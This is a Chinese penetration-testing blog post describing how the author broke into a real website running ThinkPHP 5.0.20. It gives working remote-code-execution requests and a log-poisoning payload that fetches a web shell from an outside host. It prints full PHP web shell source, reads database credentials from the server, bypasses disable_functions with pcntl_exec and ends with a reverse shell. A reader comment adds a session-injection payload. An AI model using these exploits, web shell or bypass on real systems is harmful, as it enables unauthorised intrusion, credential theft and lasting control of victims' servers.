某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell

2019-6-11 / 3 评论 渗透测试 / Mrxn

本文共计 4086 字,感谢您的耐心浏览与评论.

1.png

ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。
第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:
2.png
不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:
3.png
但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。
所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:
POST /public/index.php?s=captcha HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST

点击查看原图  
  或者这样:
POST /public/index.php?s=captcha&aaa=id HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx

 5.png   
ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞: 

1.函数执行结果不会直接回显

2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。

后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。

file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。

于是找到 __include_file :

6.png
 
__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:

7.png
 
由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。 

先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:
<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
8.png 
代码插⼊日志成功:

9.png
 
然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:
10.png
  

为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:
<?php

$mode = $_REQUEST['mode'];

if (strtoupper($mode) == 'READ') {
    $path = $_REQUEST['filename'];

    if (is_dir($path)) {
        $filenames = scandir($path);

        printf("Files of $path :\r\n\r\n");
        foreach ($filenames as $filename) {
            if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) {
                printf("% -65s [dir]\r\n", $filename);
            }
            else {
                printf("% -70s\r\n", $filename);
            }
        }
    }
    else {
        $filecontent = file_get_contents($path);
        echo $filecontent;
    }
}

elseif (strtoupper($mode) == 'WRITE') {
    $filename = $_REQUEST['filename'];
    $content = $_REQUEST['content'];
    if (file_put_contents($filename, $content)) {
        echo 'write success.';
    }
    else {
        echo 'write fail.';
    }
}

elseif (strtoupper($mode) == 'MKDIR') {
    $dir = $_REQUEST['dir'];
    if (mkdir($dir)) {
        echo 'mkdir success.';
    }
    else {
        echo 'mkdir fail.';
    }
}

elseif (strtoupper($mode) == 'RM') {
    $filename = $_REQUEST['filename'];
    if (is_file($filename)) {
        if (unlink($filename)) {
            echo 'rm file success.';
        }
        else {
            echo 'rm file fail.';
        }
    }
    elseif (is_dir($filename)) {
        if (rmdir($filename)) {
            echo 'rm dir success.';
        }
        else {
            echo 'rm dir fail';
        }
    }
    else {
        echo 'unknown error, file may not exist.';
    }
}

else {
    echo "wrong mode.";
}
于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:

11.png
 
好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:
<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>
然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:
12.png  
 通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:

 13.png 
⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:
14.png
 
由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。 

思路重新回到目标 php 环境的禁⽤用函数上来。

由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。 

先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:
 
 15.png  
所以试试执⾏:
 
<?phpvar_dump(ini_get('disable_functions'));
来查看禁用的函数有哪些,得到结果:

16.png
 
即这些函数被禁用:
 
passthru
exec
system 
chroot 
chgrp 
chown 
shell_exec
popen
ini_alter
ini_restore
dl
openlog
syslog
readlink
symlink
popepassthru

黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:
#!/bin/bash 
id > /tmp/success
 

再来执行 PHP 代码:
<?php 
switch (pcntl_fork()) {
  case 0:
    pcntl_exec('/bin/bash', ['/tmp/exec.sh']);
    exit(0);

  default:
break; }
如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:

 17.png  
最后重复上述步骤,改成执行反弹 shell 的命令:

18.png 
文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70

标签: 渗透测试 分享 Thinkphp getshell

转载:转载请注明原文链接 - 某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell


3条回应:“某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell”

  1. rrrr

    可以写到session文件里在包含session,相对会好一点,_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>

  2. 1

    要点逼脸。偷文章?


发表评论

{view_code_no}